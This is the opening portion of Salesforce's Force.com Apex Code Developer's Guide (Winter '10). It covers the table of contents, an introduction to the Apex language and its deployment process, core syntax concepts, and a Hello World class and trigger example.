Version 17.

0: Winter '10

Force.com Apex Code Developer's Guide

Last updated: October 19, 2009

Copyright 2000-2009 salesforce.com, inc. All rights reserved. Salesforce.com is a registered trademark of salesforce.com, inc., as are other

names and marks. Other marks appearing herein may be trademarks of their respective owners.

Table of Contents

Table of Contents
Chapter 1: Introducing Force.com Apex Code..............................................................................7
What is Apex?...............................................................................................................................................................8 How Does Apex Work?.....................................................................................................................................9 What is the Apex Development Process?........................................................................................................10 When Should I Use Apex?..............................................................................................................................12 What are the Limitations of Apex?.................................................................................................................13 What's New?...............................................................................................................................................................14 Apex Quick Start.........................................................................................................................................................14 Documentation Typographical Conventions...................................................................................................14 Understanding Apex Core Concepts...............................................................................................................15 Writing Your First Apex Script.......................................................................................................................19

Chapter 2: Language Constructs................................................................................................26

Data Types...................................................................................................................................................................27 Primitive Data Types.......................................................................................................................................27 sObject Types...................................................................................................................................................30 Collections.......................................................................................................................................................33 Enums..............................................................................................................................................................37 Understanding Rules of Conversion................................................................................................................39 Variables......................................................................................................................................................................39 Case Sensitivity................................................................................................................................................40 Constants.........................................................................................................................................................41 Expressions..................................................................................................................................................................41 Understanding Expressions..............................................................................................................................41 Understanding Expression Operators..............................................................................................................42 Understanding Operator Precedence...............................................................................................................47 Extending sObject and List Expressions.........................................................................................................48 Using Comments.............................................................................................................................................48 Assignment Statements...............................................................................................................................................49 Conditional (If-Else) Statements................................................................................................................................50 Loops...........................................................................................................................................................................50 Do-While Loops.............................................................................................................................................51 While Loops....................................................................................................................................................51 For Loops........................................................................................................................................................52 SOQL and SOSL Queries..........................................................................................................................................55 Working with SOQL and SOSL Query Results.............................................................................................56 Working with Very Large SOQL Queries......................................................................................................57 Using SOQL Queries That Return One Record.............................................................................................58 Understanding Foreign Key and Parent-Child Relationship SOQL Queries.................................................58 Using Apex Variables in SOQL and SOSL Queries.......................................................................................59 Querying All Records with a SOQL Statement..............................................................................................60

Table of Contents Locking Statements.....................................................................................................................................................60 Locking in a SOQL For Loop........................................................................................................................61 Avoiding Deadlocks.........................................................................................................................................61 Transaction Control.....................................................................................................................................................61 Exception Statements..................................................................................................................................................62 Throw Statements...........................................................................................................................................62 Try-Catch-Finally Statements.........................................................................................................................62

Chapter 3: Invoking Apex..........................................................................................................64

Triggers........................................................................................................................................................................65 Bulk Triggers...................................................................................................................................................66 Trigger Syntax..................................................................................................................................................66 Trigger Context Variables................................................................................................................................67 Context Variable Considerations.....................................................................................................................68 Common Bulk Trigger Idioms.........................................................................................................................69 Defining Triggers.............................................................................................................................................70 Triggers and Merge Statements.......................................................................................................................72 Triggers and Recovered Records......................................................................................................................73 Triggers and Order of Execution.....................................................................................................................73 Operations That Do Not Invoke Triggers.......................................................................................................75 Fields that Cannot Be Updated by Triggers....................................................................................................75 Trigger Exceptions...........................................................................................................................................76 Apex Scheduler............................................................................................................................................................76 Anonymous Blocks......................................................................................................................................................80 Apex in AJAX..............................................................................................................................................................81

Chapter 4: Classes, Objects, and Interfaces.................................................................................83

Understanding Classes.................................................................................................................................................84 Apex Defining Classes.....................................................................................................................................84 Extended Class Example.................................................................................................................................85 Declaring Class Variables.................................................................................................................................88 Defining Class Methods..................................................................................................................................89 Using Constructors..........................................................................................................................................90 Access Modifiers..............................................................................................................................................91 Static and Instance...........................................................................................................................................92 Apex Properties................................................................................................................................................95 Interfaces and Extending Classes................................................................................................................................98 Parameterized Typing and Interfaces...............................................................................................................99 Custom Iterators............................................................................................................................................101 Keywords...................................................................................................................................................................103 Using the final Keyword................................................................................................................................103 Using the instanceof Keyword.......................................................................................................................103 Using the this Keyword.................................................................................................................................103 Using the transient Keyword.........................................................................................................................104 Using the with sharing or without sharing Keywords....................................................................................105 Annotations...............................................................................................................................................................107

ii

Table of Contents Future.............................................................................................................................................................107 IsTest.............................................................................................................................................................108 Deprecated.....................................................................................................................................................109 Classes and Casting...................................................................................................................................................109 Classes and Collections..................................................................................................................................111 Collection Casting.........................................................................................................................................111 Differences Between Apex Classes and Java Classes.................................................................................................111 Class Definition Creation..........................................................................................................................................112 Naming Conventions.....................................................................................................................................113 Name Shadowing...........................................................................................................................................114 Class Security............................................................................................................................................................114 Namespace Prefix......................................................................................................................................................115 Using Namespaces When Invoking Methods................................................................................................115 Namespace, Class, and Variable Name Precedence........................................................................................115 Type Resolution and System Namespace for Types.......................................................................................116 Version Settings.........................................................................................................................................................116 Setting the Salesforce.com API Version for Classes and Triggers.................................................................117 Setting Package Versions for Apex Classes and Triggers...............................................................................118

Chapter 5: Apex Design Patterns..............................................................................................119

Triggers and Bulk Requests.......................................................................................................................................119

Chapter 6: Testing Apex...........................................................................................................121

Understanding Testing in Apex.................................................................................................................................122 Why Test Apex?.............................................................................................................................................122 What to Test in Apex....................................................................................................................................122 Unit Testing Apex......................................................................................................................................................123 Using the runAs Method...............................................................................................................................123 Using Limits, startTest, and stopTest............................................................................................................124 Adding SOSL Queries to Unit Tests.............................................................................................................125 Running Unit Test Methods......................................................................................................................................126 Testing Best Practices................................................................................................................................................127 Testing Example........................................................................................................................................................128

Chapter 7: Dynamic Apex........................................................................................................134

Understanding Apex Describe Information...............................................................................................................135 Dynamic SOQL........................................................................................................................................................139 Dynamic SOSL.........................................................................................................................................................139 Dynamic DML.........................................................................................................................................................140

Chapter 8: Batch Apex.............................................................................................................142

Using Batch Apex......................................................................................................................................................143 Understanding Apex Managed Sharing....................................................................................................................150 Understanding Sharing..................................................................................................................................150 Sharing a Record Using Apex........................................................................................................................152 Recalculating Apex Managed Sharing...........................................................................................................157

iii

Table of Contents

Chapter 9: Debugging Apex.....................................................................................................162

Understanding the Debug Log..................................................................................................................................163 Using the System Log Console.....................................................................................................................163 Debugging Apex API Calls...........................................................................................................................164 Handling Uncaught Exceptions................................................................................................................................166 Understanding Execution Governors and Limits......................................................................................................166 Using Governor Limit Email Warnings....................................................................................................................169

Chapter 10: Developing Apex in Managed Packages..................................................................170

Package Versions........................................................................................................................................................171 Deprecating Apex......................................................................................................................................................171 Behavior in Package Versions....................................................................................................................................172 Versioning Apex Code Behavior....................................................................................................................172 Apex Code Identifiers that Are Not Versioned..............................................................................................173 Testing Behavior in Package Versions............................................................................................................173

Chapter 11: Apex Web Service Integration................................................................................176

WebService Methods.................................................................................................................................................177 Exposing Data with WebService Methods....................................................................................................177 Considerations for Using the WebService Keyword......................................................................................177 Overloading Web Service Methods...............................................................................................................178 SOAP Services: Defining a Class from a WSDL Document....................................................................................179 Invoking an External Service.........................................................................................................................180 HTTP Header Support.................................................................................................................................180 Callout Timeouts...........................................................................................................................................181 Client Certificate Support.............................................................................................................................181 Supported WSDL Features...........................................................................................................................182 Understanding the Generated Code..............................................................................................................184 Considerations Using WSDLs......................................................................................................................186

Chapter 12: Reference..............................................................................................................188

Apex Data Manipulation Language (DML) Operations..........................................................................................189 ConvertLead Operation.................................................................................................................................190 Delete Operation...........................................................................................................................................193 Insert Operation............................................................................................................................................194 Merge Statement...........................................................................................................................................196 Undelete Operation.......................................................................................................................................197 Update Operation..........................................................................................................................................199 Upsert Operation...........................................................................................................................................201 sObjects That Do Not Support DML Operations........................................................................................205 sObjects That Cannot Be Used Together in DML Operations.....................................................................206 Bulk DML Exception Handling...................................................................................................................206 Apex Standard Classes and Methods........................................................................................................................207 Primitives Methods........................................................................................................................................208 Apex Collection Methods..............................................................................................................................227

iv

Table of Contents Enum Methods..............................................................................................................................................238 sObject Methods...........................................................................................................................................239 System Methods............................................................................................................................................253 Using Exception Methods.............................................................................................................................285 Apex Classes..............................................................................................................................................................288 Apex Email Classes........................................................................................................................................289 Exception Class.............................................................................................................................................302 Visualforce Classes.........................................................................................................................................304 Pattern and Matcher Classes.........................................................................................................................323 HTTP (RESTful) Services Classes...............................................................................................................334 Apex Approval Processing Classes.................................................................................................................340 XmlStream Classes........................................................................................................................................344 Business Hours Class.....................................................................................................................................351 Apex Community Classes..............................................................................................................................353 Site Class.......................................................................................................................................................356

Chapter 13: Deploying Apex Scripts.........................................................................................360

Using the Force.com IDE to Deploy Apex...............................................................................................................361 Using the Force.com Migration Tool.........................................................................................................................361 Understanding deploy....................................................................................................................................362 Understanding retrieveCode..........................................................................................................................364 Understanding runTests()..............................................................................................................................365 Force.com Migration Tool Additional Deployment Methods...................................................................................366

Appendices.............................................................................................................................367 Appendix A: Shopping Invoice Example..........................................................................367

Shopping Invoice Example Walk-Thru.........................................................................................................367 Shopping Invoice Example Code..................................................................................................................369

Appendix B: Reserved Keywords.....................................................................................378 Appendix C: Security Tips for Apex and Visualforce Development....................................380
Cross Site Scripting (XSS).............................................................................................................................380 Unescaped Output and Formulas in Visualforce Pages..................................................................................382 Cross-Site Request Forgery (CSRF).............................................................................................................383 SOQL Injection.............................................................................................................................................384 Data Access Control......................................................................................................................................386

Appendix D: Force.com Web Services API Calls and SOAP Headers for Apex..................387
compileAndTest()..........................................................................................................................................387 compileClasses()............................................................................................................................................391 compileTriggers()...........................................................................................................................................392 executeanonymous().......................................................................................................................................393

Table of Contents runTests().......................................................................................................................................................394 DebuggingHeader.........................................................................................................................................399 PackageVersionHeader..................................................................................................................................401

Glossary..................................................................................................................................402 Index....................................................................................................................................................416

vi

Chapter 1
Introducing Force.com Apex Code
In this chapter ... What is Apex? What's New? Apex Quick Start
Over the past several years, salesforce.com has changed the way organizations do business by moving enterprise applications that were traditionally client-server-based into an on-demand, multitenant Web environment. This environment, the Force.com platform, allows organizations to run and customize applications, such as Salesforce.com Automation and Service & Support, and build new custom applications based on particular business needs. While many customization options are available through the Salesforce.com user interface, such as the ability to define new fields, objects, workflow, and approval processes, developers can also use the Force.com Web Services API to issue data manipulation commands such as delete(), update() or upsert(), from client-side programs. These client-side programs, typically written in Java, JavaScript, or .NET, grant organizations more flexibility in their customizations. However, because the controlling logic for these client-side programs is not located on Force.com platform servers, they are restricted by: The performance costs of making multiple round-trips to the salesforce.com site to accomplish common business transactions The lack of transactional control across API requests The cost and complexity of hosting server code, such as Java or .Net, in a secure and robust environment

To address these issues, and to revolutionize the way that developers create on-demand applications, salesforce.com introduces Force.com Apex code, the first multitenant, on-demand programming language for developers interested in building the next generation of business applications. What is Apex?more about when to use Apex, the development process, and some limitations What's new in this Apex release? Apex Quick Startdelve straight into the code and write your first Apex script

For more advanced developers, see the Apex Design Patterns on page 119.

Introducing Force.com Apex Code

What is Apex?

What is Apex?
Force.com Apex code is a strongly-typed, object-oriented programming language that allows developers to execute flow and transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and acts like database stored procedures, Apex code enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce pages. Apex scripts can be initiated by Web service requests and from triggers on objects.

Figure 1: You can add Apex to most system events. As a language, Apex is: Integrated Apex provides built-in support for common Force.com platform idioms, including: Data manipulation language (DML) calls, such as INSERT, UPDATE, and DELETE, that include built-in DmlException handling Inline Salesforce.com Object Query Language (SOQL) and Salesforce.com Object Search Language (SOSL) queries that return lists of sObject records Looping that allows for bulk processing of multiple records at a time Locking syntax that prevents record update conflicts Custom public Force.com API calls that can be built from stored Apex methods Warnings and errors issued when a user tries to edit or delete a custom object or field that is referenced by Apex

Easy to use Apex is based on familiar Java idioms, such as variable and expression syntax, block and conditional statement syntax, loop syntax, object and array notation, pass by reference, and so on. Where Apex introduces new elements, it uses syntax

Introducing Force.com Apex Code

How Does Apex Work?

and semantics that are easy to understand and encourage efficient use of the Force.com platform. Consequently, Apex produces code that is both succinct and easy to write. Data focused Apex is designed to thread together multiple query and DML statements into a single unit of work on the Force.com platform server, much as developers use database stored procedures to thread together multiple transaction statements on a database server. Note that like other database stored procedures, Apex does not attempt to provide general support for rendering elements in the user interface. Rigorous Apex is a strongly-typed language that uses direct references to schema objects such as object and field names. It fails quickly at compile time if any references are invalid, and stores all custom field, object, and class dependencies in metadata to ensure they are not deleted while required by active Apex scripts. Hosted Apex is interpreted, executed, and controlled entirely by the Force.com platform. Multitenant aware Like the rest of the Force.com platform, Apex runs in a multitenant environment. Consequently, the Apex runtime engine is designed to guard closely against runaway scripts, preventing them from monopolizing shared resources. Any scripts that violate these limits fail with easy-to-understand error messages. Automatically upgradeable Apex never needs to be rewritten when other parts of the Force.com platform are upgraded. Because the compiled code is stored as metadata in the platform, it always gets automatically upgraded with the rest of the system. Easy to test Apex provides built-in support for unit test creation and execution, including test results that indicate how much code is covered, and which parts of your code could be more efficient. Salesforce.com ensures that scripts always work as expected by executing all unit tests stored in metadata prior to any platform upgrades. Versioned You can save your Apex scripts against different versions of the Force.com API. This enables you to maintain behavior. Apex is included in Unlimited Edition, Developer Edition, and Enterprise Edition.

How Does Apex Work?

All Apex runs entirely on-demand on the Force.com platform, as shown in the following architecture diagram:

Introducing Force.com Apex Code

What is the Apex Development Process?

Figure 2: Apex code is compiled, stored, and run entirely on the Force.com platform. When a developer writes and saves an Apex script to the platform, the platform application server first compiles the code into an abstract set of instructions that can be understood by the Apex runtime interpreter, and then saves those instructions as metadata. When an end-user triggers the execution of Apex, perhaps by clicking a button or accessing a Visualforce page, the platform application server retrieves the compiled instructions from the metadata and sends them through the runtime interpreter before returning the result. The end-user observes no differences in execution time from standard platform requests.

What is the Apex Development Process?

Before you begin developing Apex scripts, you need to understand the development process that salesforce.com recommends: 1. 2. 3. 4. Obtain a Developer Edition account. Write your Apex scripts. Optionally deploy your Apex scripts to a sandbox organization and do final unit tests. Deploy your Apex scripts to your Salesforce.com production organization.

In addition to deploying your scripts, once they are written and tested, you can also add your script to a Force.com AppExchange App package. Obtaining a Developer Edition Account There are three types of organizations where you can run your Apex: A developer organization: an organization created with a Developer Edition account. A production organization: an organization that has live users accessing your data. A sandbox organization: an organization created on your production organization that is a copy of your production organization. Note: Apex triggers are available in the Trial Edition of Salesforce.com; however, they are disabled when you convert to any other edition. If your newly-signed-up organization includes Apex, you must deploy your code to your organization using one of the deployment methods. You cannot develop Apex in your Salesforce.com production organization. Live users accessing the system while you are developing can destabilize your data or corrupt your application. Instead, salesforce.com recommends that you do all your development work in either a sandbox or a Developer Edition organization.

10

Introducing Force.com Apex Code

What is the Apex Development Process?

If you are not already a member of the developer community, go to http://developer.force.com/join and follow the instructions to sign up for a Developer Edition account. A Developer Edition account gives you access to a free Developer Edition organization. Even if you already have an Enterprise or Unlimited Edition organization and a sandbox for creating Apex, salesforce.com strongly recommends that you take advantage of the resources available in the developer community. Note: You cannot make changes to Apex using the Salesforce.com user interface in a Salesforce.com production organization.

Writing Apex You can write Apex scripts and tests in any of the following editing environments: Force.com IDE: The Force.com IDE is a plug-in for the Eclipse IDE. The Force.com IDE provides a unified interface for building and deploying Force.com applications. Designed for developers and development teams, the IDE provides tools to accelerate Force.com application development, including source code editors, test execution tools, wizards and integrated help. The Force.com IDE is available at http://wiki.apexdevnet.com/index.php/Force.com_IDE. This tool includes basic color-coding, outline view, integrated unit testing, and auto-compilation on save with error message display. See the website for information about installation and usage. The Salesforce.com user interface. All scripts are compiled when they are saved, and any syntax errors are flagged. You cannot save your code until it compiles without errors. The Salesforce.com user interface also numbers the lines in a script, and uses color coding to distinguish different elements, such as comments, keywords, literal strings, and so on. For a trigger on a standard object, click Setup Customize, click the name of the object, and click Triggers. In the Triggers detail page, click New, and then enter your code in the Body text box. For a trigger on a custom object, click Setup Develop Objects, and click the name of the object. In the Triggers related list, click New, and then enter your code in the Body text box. For a class, click Setup Develop Apex Classes. Click New, and then enter your code in the Body text box. Note: You cannot make changes to Apex using the Salesforce.com user interface in a Salesforce.com production organization. Any text editor, such as Notepad. You can write your Apex script, then either copy and paste it into your application, or use one of the API calls to deploy it. Note: If you want to extend the Eclipse plug-in or develop an Apex IDE of your own, the Web Services API includes methods for compiling triggers and classes, and executing test methods, while the Metadata API includes methods for deploying code to production environments. For more information, see Deploying Apex Scripts on page 360 and Web Services API Calls and SOAP Headers for Apex on page 387. Deploying Apex to a Sandbox Organization Salesforce.com gives you the ability to create multiple copies of your organization in separate environments for a variety of purposes, such as testing and training, without compromising the data and applications in your Salesforce.com production organization. These copies are called sandboxes and are nearly identical to your Salesforce.com production organization. Sandboxes are completely isolated from your Salesforce.com production organization, so operations you perform in your sandboxes do not affect your Salesforce.com production organization, and vice-versa. To deploy Apex from a local project in the Force.com IDE to a Salesforce.com organization, use the Force.com Component Deployment Wizard. For more information about the Force.com IDE, see http://wiki.apexdevnet.com/index.php/Force.com_IDE. You can also use the deploy() Metadata API call to deploy your Apex from a developer organization to a sandbox organization.

11

Introducing Force.com Apex Code

When Should I Use Apex?

A useful API call is runTests(). In a development or sandbox organization, you can run the unit tests for a specific class, a list of classes, or a namespace. Salesforce.com includes a Force.com Migration Tool that allows you to issue these commands in a console window, or your can implement your own deployment code. For more information, see Using the Force.com Migration Tool on page 361 and Deploying Apex Scripts on page 360. Deploying Apex to a Salesforce.com Production Organization After you have finished all of your unit tests and verified that your Apex scripts are executing properly, the final step is deploying Apex to your Salesforce.com production organization. Before you deploy Apex, the following must be true: 75% of your Apex scripts are covered by unit tests, and all of those tests complete successfully. Note the following: When deploying to a production organization, every unit test in your organization namespace is executed. Calls to System.debug are not counted as part of Apex code coverage in unit tests. While only 75% of your Apex scripts must be covered, the goal is to achieve 100% coverage

Every trigger has some test coverage. All classes and triggers compile successfully.

To deploy Apex from a local project in the Force.com IDE to a Salesforce.com organization, use the Force.com Component Deployment Wizard. For more information about the Force.com IDE, see http://wiki.apexdevnet.com/index.php/Force.com_IDE. You can also use the compileAndTest API call to deploy Apex to a Salesforce.com production organization. For more information, see Deploying Apex Scripts on page 360. Adding Apex Scripts to a Force.com AppExchange App You can also include an Apex script in an app that you are creating for AppExchange. Any Apex that is included as part of a Force.com AppExchange package must have at least 75% cumulative test coverage. Each trigger must also have some test coverage. When you upload your package to AppExchange, all tests are run to ensure that they run without errors. In addition, all tests are run when the package is installed in the installer's organization. The installer can decide whether or not to install the package if any tests fail. In addition, salesforce.com recommends that any AppExchange package that contains Apex be a managed package. For more information, see About Managed Packages in the Salesforce.com online help. For more information about Apex in managed packages, see Developing Apex in Managed Packages on page 170. Note: Packaging Apex classes that contain references to custom labels which have translations: To include the translations in the package, enable translation workbench and explicitly package the individual languages used in the translated custom labels. For more information, see the online help topic Custom Labels Overview.

When Should I Use Apex?

The Salesforce.com prebuilt applications provide powerful CRM functionality. In addition, Salesforce.com provides the ability to customize the prebuilt applications to fit your organization. However, your organization may have complex business processes that are unsupported by the existing functionality. When this is the case, the Force.com platform includes a number of ways for advanced administrators and developers to implement custom functionality. These include Apex, Visualforce, and the Force.com Web Services API.

12

Introducing Force.com Apex Code

What are the Limitations of Apex?

Apex Use Apex if you want to: Create Web services Create email services Perform complex validation over multiple objects Create complex business processes that are not supported by workflow Create custom transactional logic (logic that occurs over the entire transaction, not just with a single record or object) Attach custom logic to another operation, such as saving a record, so that it occurs whenever the operation is executed, regardless of whether it originates in the user interface, a Visualforce page, or from the Web Services API

Visualforce Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and customizing the Salesforce.com user interface. With Visualforce you can: Build wizards and other multistep processes Create your own custom flow control through an application Define navigation patterns and data-specific rules for optimal, efficient application interaction

For more information, see the Visualforce Developer's Guide. Force.com Web Services API Use standard Force.com Web Services API calls if you want to add functionality to a composite application that processes only one type of record at a time and does not require any transactional control (such as setting a Savepoint or rolling back changes). For more information, see the Force.com Web Services Developer's API Guide.

What are the Limitations of Apex?

Apex radically changes the way that developers create on-demand business applications, but it is not currently meant to be a general purpose programming language. As of this release, Apex cannot be used to: Render elements in the user interface other than error messages Change standard functionalityApex can only prevent the functionality from happening, or add additional functionality Create temporary files Spawn threads Tip: All Apex scripts run on the Force.com platform, which is a shared resource used by all other organizations. To guarantee consistent performance and scalability, the execution of Apex is bound by governor limits that ensure no single Apex execution impacts the overall service of Salesforce.com. This means each Apex script is limited by the number of operations (such as DML or SOQL) that it can perform within one transaction. All Apex trigger requests return a collection that contains from 1 to 200 records. You cannot assume that your code only works on a single record at a time. Therefore, you must implement programming patterns that take bulk processing into account. If you do not, you may run into the governor limits.

See Also:
Understanding Execution Governors and Limits Apex Design Patterns

13

Introducing Force.com Apex Code

What's New?

What's New?
Review the Winter '10 Release Notes for a summary of new and changed Apex features in the Winter '10 release.

Apex Quick Start

Once you have a Developer Edition organization and have chosen which tool you want to use to write your Apex scripts, you will want to learn some of the core concepts of Apex. As Apex is very similar to Java, you may recognize much of the functionality. After reviewing the basics, you are ready to write your first Apex programa very simple Hello World script. After you write the script you can expand it, with unit tests. In addition, there is a more complex shopping cart example that you can also walk through. This example illustrates many more features of the language. Note: The Hello World script and the shopping invoice example require custom fields and objects. You can either create these on your own, or download the objects, fields and Apex scripts as a managed packaged from Force.com AppExchange. For more information, see wiki.apexdevnet.com/index.php/Documentation.

Documentation Typographical Conventions

Apex and Visualforce documentation uses the following typographical conventions. Convention
Courier font

Description In descriptions of syntax, monospace font indicates items that you should type as shown, except for brackets. For example:
Public class HelloWorld

Italics

In description of syntax, italics represent variables. You supply the actual value. In the following example, three values need to be supplied:
datatype variable_name [ = value];

<>

In descriptions of syntax, less-than and greater-than symbols (< >) are typed exactly as shown.
<apex:pageBlockTable value="{!account.Contacts}" var="contact"> <apex:column value="{!contact.Name}"/> <apex:column value="{!contact.MailingCity}"/> <apex:column value="{!contact.Phone}"/> </apex:pageBlockTable>

{}

In descriptions of syntax, braces ({ }) are typed exactly as shown.

<apex:page> Hello {!$User.FirstName}! </apex:page>

14

Introducing Force.com Apex Code

Understanding Apex Core Concepts

Convention []

Description In descriptions of syntax, anything included in brackets is optional. In the following example, specifying value is optional:
datatype variable_name [ = value];

In descriptions of syntax, the pipe sign means or. You can do one of the following (not all). In the following example, you can create a new unpopulated set in one of two ways, or you can populate the set:
Set<datatype> set_name [= new Set<datatype>();] | [= new Set<datatype{value [, value2. . .] };] | ;

Understanding Apex Core Concepts

A typical Apex script contains many things that you might be familiar with from other programming languages:

Figure 3: Programming elements in Apex The section describes the basic functionality of Apex, as well as some of the core concepts. Using Version Settings In the Salesforce.com user interface you can specify a version of the Salesforce.com API against which to save your Apex class or trigger. This setting indicates not only the version of the Force.com Web services API to use, but which version of Apex as well. You can change the version after saving. Every class or trigger name must be unique. You cannot save the same class or trigger against different versions. You can also use version settings to associate a class or trigger with a particular version of a managed package that is installed in your organization from AppExchange. This version of the managed package will continue to be used by the class or trigger

15

Introducing Force.com Apex Code

Understanding Apex Core Concepts

if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the class or trigger.

For more information about using version settings with managed packages, see What is a Package Version? in the Salesforce.com online help. Naming Variables, Methods and Classes You cannot use any of the Apex reserved keywords when naming variables, methods or classes. These include words that are part of Apex and the Force.com platform, such as list, test, or account, as well as reserved keywords. Using Variables and Expressions Apex is a strongly-typed language, that is, you must declare the data type of a variable when you first refer to it. Apex data types include basic types such as Integer, Date, and Boolean, as well as more advanced types such as lists, maps, objects and sObjects. Variables are declared with a name and a data type. You can assign a value to a variable when you declare it. You can also assign values later. Use the following syntax when declaring variables:
datatype variable_name [ = value];

Tip: Note that the semi-colon at the end of the above is not optional. You must end all statements with a semi-colon.

The following are examples of variable declarations:

// The following variable has the data type of Integer with the name Count, // and has the value of 0. Integer Count = 0; // The following variable has the data type of Decimal with the name Total. Note // that no value has been assigned to it. Decimal Total; // The following variable is an account, which is also referred to as an sObject. Account MyAcct = new Account();

Using Statements A statement is any coded instruction that performs an action. In Apex, statements must end with a semicolon and can be one of the following types:

16

Introducing Force.com Apex Code

Understanding Apex Core Concepts

Assignment, such as assigning a value to a variable Conditional (if-else) Loops Do-while While For

Locking Data Manipulation Language (DML) Transaction Control Method Invoking Exception Handling

A block is a series of statements that are grouped together with curly braces and can be used in any place where a single statement would be allowed. For example:
if (true) { System.debug(1); System.debug(2); } else { System.debug(3); System.debug(4); }

In cases where a block consists of only one statement, the curly braces can be left off. For example:
if (true) System.debug(1); else System.debug(2);

Using Collections Apex has the following types of collections: Lists (arrays) Maps Sets

A list is a collection of elements, such as Integers, Strings, objects, or other collections. Use a list when the sequence of elements is important. You can have duplicate elements in a list. The first index position in a list is always 0. To create a list: Use the new keyword Use the List keyword followed by the element type contained within <> characters.

Use the following syntax for creating a list:

List <datatype> list_name [= new List<datatype>();] |

17

Introducing Force.com Apex Code

Understanding Apex Core Concepts

[=new List<datatype>{value [, value2. . .]};] | ;

The following example creates a list of Integer, and assigns it to the variable My_List. Remember, because Apex is strongly typed, you must declare the data type of My_List as a list of Integer.
List<Integer> My_List = new List<Integer>();

For more information, see Lists on page 33. A set is a collection of elements that is unordered. Each element in a set must be unique. It can only contain primitive data types, such as String, Integer, Date, and so on. It cannot contain more complex data types, such as objects. To create a set: Use the new keyword Use the Set keyword followed by the primitive data type contained within <> characters

Use the following syntax for creating a set:

Set<datatype> set_name [= new Set<datatype>();] | [= new Set<datatype{value [, value2. . .] };] | ;

The following example creates a set of String. The values for the set are passed in using the curly braces {}.
Set<String> My_String = new Set<String>{'a', 'b', 'c'};

For more information, see Sets on page 35. A map is a collection of key-value pairs. Keys can be any primitive data type. Values can include primitive data types, as well as objects and other collections. Use a map when finding something by key matters. You can have duplicate values in a map, but each key must be unique. To create a map: Use the new keyword Use the Map keyword followed by a key-value pair, delimited by a comma and enclosed in <> characters.

Use the following syntax for creating a map:

Map<key_datatype, value_datatype> map_name [=new map<key_datatype, value_datatype>();] | [=new map<key_datatype, value_datatype> {key1_value => value1_value [, key2_value => value2_value. . .]};] | ;

The following example creates a map that has a data type of Integer for the key and String for the value. In this example, the values for the map are being passed in between the curly braces {} as the map is being created.
Map<Integer, String> My_Map = new Map<Integer, String>{1 => 'a', 2 => 'b', 3 => 'c'};

For more information, see Maps on page 36.

18

Introducing Force.com Apex Code

Writing Your First Apex Script

Using Branching An if statement is a true-false test that enables your application to do different things based on a condition. The basic syntax is as follows:
if (Condition){ // Do this if the condition is true } else { // Do this if the condition is not true }

For more information, see Conditional (If-Else) Statements on page 50. Using Loops While the if statement enables your application to do things based on a condition, loops tell your application to do the same thing again and again based on a condition. Apex supports the following types of loops: Do-while While For

A Do-while loop checks the condition after the code has executed. A While loop checks the condition at the start, before the code executes. A For loop enables you to more finely control the condition used with the loop. In addition Apex supports traditional For loops where you set the conditions, as well as For loops that use lists and SOQL queries as part of the condition. For more information, see Loops on page 50.

Writing Your First Apex Script

The following Hello World example illustrates many of the basic concepts of Apex. In this example, a custom Account field named Hello is updated with the text, World as its value whenever a new account is created. Note: This example assumes that you have familiarity with the Salesforce.com application, and that you have already defined a custom text field on the standard Account object named Hello. For more information see Adding Fields and Relationships in the Salesforce.com online help. This image shows the empty Hello field on an Account detail page after an account is created:

19

Introducing Force.com Apex Code

Writing Your First Apex Script

Figure 4: The Hello field with no value To automatically update this field with the value World, click Setup Develop Apex Classes, click New, and then enter the following code in the Body text box.
// This class updates the Hello field on account records that are // passed to it. public class MyHelloWorld { public static void addHelloWorld(Account[] accs){ for (Account a:accs){ if (a.Hello__c != 'World') { a.Hello__c = 'World'; } } } }

Be sure to click Save when you have finished.

20

Introducing Force.com Apex Code

Writing Your First Apex Script

Note the first line of code:

public class MyHelloWorld {

Apex scripts are generally contained in classes. This class is defined as public, which means the class is available to other Apex scripts. For more information, see Classes, Objects, and Interfaces on page 83. The second line of code is the start of a method definition:
public static void addHelloWorld(Account[] accs){

This method is called addHelloWorld, and is both public and static. Because it is a static method, you do not need to create an instance of the class in order to access the methodyou can just use the name of the class followed by a dot (.) and the name of the method. For more information, see Static and Instance on page 92. This method takes one parameter, a list of Account records, which is assigned to the variable accs. The next section of code contains the rest of the method definition:
for (Account a:accs){ if (a.Hello__c != 'World') { a.Hello__c = 'World'; } }

Notice the __c after the field nameHello__c. This indicates that it is a custom field, that is, a field you created. Standard fields that are provided by default in Salesforce.com are accessed using the same type of dot notation but without the __c, for example, Account.name. To run this piece of code, this example uses an Apex component called a trigger. A trigger is a piece of code that executes before or after records of a particular type are inserted, updated, or deleted from the Force.com platform database. Every trigger runs with a set of context variables that provide access to the records that caused the trigger to fire. All triggers run in bulk, that is, they process several records at once. The following trigger is associated with the Account object and calls the addHelloWorld method we defined in the HelloWorld class. To add this trigger to your organization, click Setup Customize Accounts Triggers, click New, and then type in the following code, replacing what is automatically generated by the template:
trigger helloWorldAccountTrigger on Account (before insert) { Account[] accs = Trigger.new; MyHelloWorld.addHelloWorld(accs); }

The first line of code defines the trigger:

trigger helloWorldAccountTrigger on Account (before insert) {

It gives the trigger a name, specifies the object on which it operates, and defines the events that cause it to fire. For example, this trigger runs before new account records are inserted into the database. The next line in the trigger creates a list of account records named accs and assigns it the contents of a trigger context variable called Trigger.new. Trigger context variables such as Trigger.new are implicitly defined in all triggers, and provide access to the records that caused the trigger to fire. In this case, Trigger.new contains all the new accounts that are about to be inserted.
Account[] accs = Trigger.new;

21

Introducing Force.com Apex Code

Writing Your First Apex Script

The next line in the code calls the method addHelloWorld in the MyHelloWorld class. It passes in the array of new accounts.
MyHelloWorld.addHelloWorld(accs);

Because this code runs on the before insert trigger event, you need to create a new record to run your code. To do so, click the Accounts tab, and then click New to create a new account. The only required field is the name. After you click Save, the Hello field is now populated with the value, World.

Figure 5: The Hello Field is Populated After the Code Runs Adding Tests to the Hello World Program Testing and unit tests are an important part of the development process. You must have at least 75% of your Apex scripts covered by unit tests to deploy your scripts to production environments. In addition, all triggers should have some test coverage. Salesforce.com recommends that you have 100% of your scripts covered by unit tests, where possible. Calls to System.debug are not counted as part of Apex code coverage in unit tests.

The following example uses the same class and trigger that you used in the previous example.

22

Introducing Force.com Apex Code

Writing Your First Apex Script

